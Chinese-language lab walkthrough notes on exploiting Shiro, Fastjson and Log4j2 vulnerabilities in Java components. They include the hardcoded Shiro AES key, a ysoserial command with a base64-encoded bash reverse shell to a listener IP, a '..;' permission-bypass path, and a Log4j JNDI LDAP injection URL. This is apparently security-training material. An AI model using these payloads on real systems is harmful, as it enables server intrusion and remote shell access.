Java 常见组件漏洞
Shiro
简介
Apache Shiro 是一个 轻量级 Java 安全框架,用于 身份认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography)。它简化了 Java 应用程序的安全管理,适用于 Web、桌面和命令行程序。
判断
如何判断一个网站是否使用了 Shiro?
查看响应头有没有 rememberMe=deleteMe
。
Shiro 身份验证的过程
读取 Cookie 流程:从 base64 编码的字符串中解码,得到加密的字节码,然后使用 AES 解密,得到字节码,再反序列化,最终得到内存对象。
创建 Cookie 流程:将内存对象序列化,得到字节码,使用 AES 加密后,转换为 base64 编码的字符串,最终生成 base64 编码的字符串。
攻击者如何获取 AES 密钥:
- 方法 1:shiro1.2.4 版本密钥硬编码(即 shiro 的开发者将 AES 密钥写死在代码里了), 密钥为:
kPH+blxk5D2deZilxcaaaA==
。 - 方法 2:信息泄露(如 springboot actuator 泄露的 heapdump 里面会有 shiro aes key )。
- 方法 3:爆破密钥。
常见漏洞
CVE-2016-4437 shiro-550 漏洞
该靶场存在漏洞:shiro 1.2.4 版本使用 AES 密钥硬编码,密钥内容为 kPH+blxk5D2deZilxcaaaA==
。
首先利用 Java-Chains 生成一个 shiropayload。
随后将生成的 base64 编码的 payload 拼接到请求包的 Cookie 中。
[!important]
发送的请求包,需是正常网站功能的请求包,例如用户登录的请求包。
发送的请求包中 Cookie 的键名应为:
rememberMe
。即最后发送的 Cookie 的内容为:
rememberMe=payload
随后即可在攻击机上收到 Shell。
但在实战中,这种方式存在缺陷,也就是使用的链太长了,可能目标的 HTTP 头限制长度。
使用 JRMP Client 反序列化利用
使用 ysoserial 生成:
首先 ysoserial 开启 JRMP 监听。
java -cp ysoerial.jar ysoserial.exploit.JRMPListener 10998 链名 "命令"
java -cp ysoerial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"
随后生成 JRMP Client payload。
[!important]
该脚本仅支持 python2,同时需要提前安装 python 加解密模块:
pip install pycryptodome
。同时 shiro-exp.py 会调用 ysoserial.jar ,所以 shiro-exp.py 文件当前目录中必须有 ysoserial.jar 文件,否则无法运行。
python shiro-exp.py JRMPListener的IP:Port
最后将 payload 放到到 Cookie,同时攻击机开启监听,发送请求完成攻击。
或使用 Java-Chain 生成:
首先启动 JRMP Listener:JRMPListener --> JRMPListener Control
,并开启监听。
随后生成 JRMP Listener payload:JRMPListener --> JRMPListenerPayload
此处莫忘记修改 IP 与 Port。
继续生成 shiropayload:选择 JRMPClient
修改的地址是 JRMP 默认地址是 Java-Chains 工具的 IP,端口是前面选定的端口,此处为:13999。
最后将生成的 payload 复制到 Cookie 中,发送请求包。
注意此处生成的 payload 没有自带键名,需要自行添加。
随后攻击机即可获取到 Shell。
JRMP Client 反序列化原理
攻击准备阶段:
- 攻击者搭建 JRMP Listener 服务(通常使用如 ysoserial 等工具)。
- 攻击者构造包含 JRMP Client 对象的恶意序列化数据。
攻击实施过程:
初始攻击阶段:
- 攻击者通过 BurpSuite 等工具修改 HTTP 请求。
- 在如 Cookie 等字段中植入携带 JRMP Client 链的序列化 Payload。
- 受害者服务接收并反序列化该 Payload。
JRMP 连接阶段:
- 反序列化后的 JRMP Client 对象自动激活。
- 客户端向攻击者控制的 JRMP Listener(默认端口 10998)发起连接。
- 建立基于 Java 远程方法协议的通信通道。
二次攻击阶段:
- 攻击者通过 JRMP 通道下发 Payload,如 CC5 链 。
- 受害者服务自动反序列化接收到的 CC5 链。
- 触发命令执行,反弹 Shell 建立连接。
Shiro 权限绕过漏洞
在该靶场中,首先进入页面,发现页面除了登录,还有查看信息的页面,但是即使点击查看信息的页面,也同样需要登陆。
此时将接口修改为 /xxx/..;/admin/
,就可以绕过权限校验,访问到管理页面。
Shiro-721 padding oracle attack
Shiro-721 是 Apache Shiro 框架中的一个高危漏洞,攻击者利用 AES-CBC 加密模式下的 Padding Oracle 机制,通过分析服务器对不同填充错误的响应差异,逐步推断出 RememberMe Cookie 的加密密钥或明文内容,最终实现身份伪造。该漏洞需要攻击者先获取一个有效的 RememberMe Cookie,然后通过发送大量精心构造的请求来实施攻击。
该漏洞实际中很难实现,而且即使爆破成功也只能执行很短的命令。
Fastjson
简介
Fastjson 是一个 Java 库,可用于将 Java 对象转换为相应的 JSON 格式。它还可以将 JSON 字符串转换为等效的 Java 对象。
推荐
利用链:
- c3p0 + 反序列化链
- groovy 链
- jdbc mysql connector 链
- mybatis + bcel 链
- dbcp+bcel 链
漏洞挖掘
- URLDNS 探测
- BurpSuite 插件:BurpFastJsonScan
先发一个 POST 的请求包,并开启 BurpSuite 扫描。
插件检测到该网站存在 Fastjson 漏洞。
常见漏洞
Fastjson 1.2.24-rce JdbcRowSetImpl
Fastjson 1.2.24 反序列化漏洞是由于其 autoType 特性未做严格限制,攻击者通过在 JSON 数据中插入恶意 @type
字段指定危险的 JNDI 相关类(如 com.sun.rowset.JdbcRowSetImpl
),当 Fastjson 反序列化时会触发 JNDI 查找并连接攻击者控制的 LDAP/RMI 服务器,从而加载并执行远程恶意代码,导致远程命令执行漏洞。
以下为靶场利用过程。
首先开启 JNDI 中的 LDAP 和 RMI 监听。
随后利用 JNDIBasicPayload 模块生成 JNDIURL。
在 FastjsonPayload 模块中选择链,并填入上一步中获取到的 JNDIURL,最后获取到 Payload。
抓包获取,并将 Payload 放入请求包(将请求改为 POST 请求,Content-Type 改为 json)
发送请求包,成功获取到 Shell。
Fastjson 1.2.47-rce
该靶场攻击方式同 Fastjson 1.2.24-rce 一样,唯一的区别在于在获取 Payload 时,选择的 Fastjson 的版本为:1.2.47。
Log4j2
简介
Log4j2 是 Apache 软件基金会开发的一个功能强大的日志记录框架,是 Log4j 的重大升级版本。
主要特点
- 高性能:Log4j2 在异步日志记录模式下性能显著优于 Log4j 和 Logback。
- 插件式架构:通过插件系统可以轻松扩展功能。
- 支持多种 API:兼容 SLF4J、Commons Logging、Log4j 1.x API。
- 灵活的配置:支持 XML、JSON、YAML 和 properties 格式的配置文件。
- 自动重新加载配置:修改配置文件后无需重启应用。
- 高级过滤:提供基于上下文数据、标记等的过滤功能。
核心组件
- Logger:应用程序调用的主要接口,用于记录日志。
- Appender:定义日志输出的目的地(控制台、文件、数据库等)。
- Layout:控制日志消息的格式。
- Filter:提供更细粒度的日志过滤能力。
常见漏洞
Log4j2 JNDI 注入 CVE-2021-44228
首先开启 JNDI 中的 LDAP 和 RMI 监听。
随后利用 JNDIBasicPayload 模块生成 JNDIURL。
访问网址:
http://192.168.2.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.2.129:50389/1af0b3}
即可获取到 Shell。